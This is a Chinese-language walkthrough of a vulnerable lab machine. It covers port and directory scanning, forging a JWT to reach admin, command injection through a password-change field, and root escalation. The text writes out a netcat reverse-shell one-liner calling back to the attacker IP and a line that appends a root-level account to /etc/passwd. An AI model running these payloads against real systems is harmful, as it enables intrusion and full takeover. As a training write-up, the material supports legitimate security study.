参考链接:https://www.anquanke.com/post/id/160755
攻击机 ip:192.168.60.230
靶机 ip:192.168.30.231
图片.png
端口扫描这里仍然使用 nmap
nmap -sV -p- 192.168.60.231
查看到只开放了一个 80
端口
访问web页面,通过指纹识别工具查询到编程语使用的是Node.js
,服务器Nginx
端口探测后开始进行目录探测,这里使用Dirbuster
没有查询到可以直接利用的目录,访问web
页面发现Register
功能
点击Register
报错,查看源代码发现四个js文件,在main.8b490782e52b9899e2a7.bundle.js
文件中查找Register
注册要求显示Content-Type
字段值为application/json
必须使用post
方法提交数据,地址为users/register
提交参数有四个如图
图片.png
浏览器抓包更改数据包并发送
显示成功注册
图片.png
登录注册的用户,登录时抓包,发现返回包带有一个JWT
开头的token
字段
百度了一下 Json web token
(JWT)的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
JWT解密后发现
auth_level
参数图片.png
再在
js
文件中查询一下,发现值为master_admin_user
时为admin
用户图片.png
将auth_level
设置值后,返回进行JWT
加密并发送数据包
返回
web
页面发现用户变更admin
图片.png
在修改密码页面存在命令执行漏洞,反弹shell
kali
对4050
端口进行监听
root@kali:~# nc -lvp 4050
在密码处执行反弹shell
命令并发送包
图片.pngrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.60.230 4050 >/tmp/f
此时kali
成功拿到shell
使用
python
命令获得一个标准shell
(直接获取到的shell是真的难用的不行)
图片.pngpython -c "import pty;pty.spawn('/bin/bash')"
拿到shell
后开始进行提权
创建一个新用户
图片.png$ perl -le 'print crypt("pass","fairy")'
将新用户生成的密文写进/etc/passwd
文件
图片.png$ echo 'fairy:faa8LvXdAzuag:0:0:fairy:/root:/bin/bash' >> /etc/passwd
查看/etc/passwd
文件
图片.pngcat /etc/passwd
登录刚刚创建的fairy
用户,成功提权至root
用户
网友评论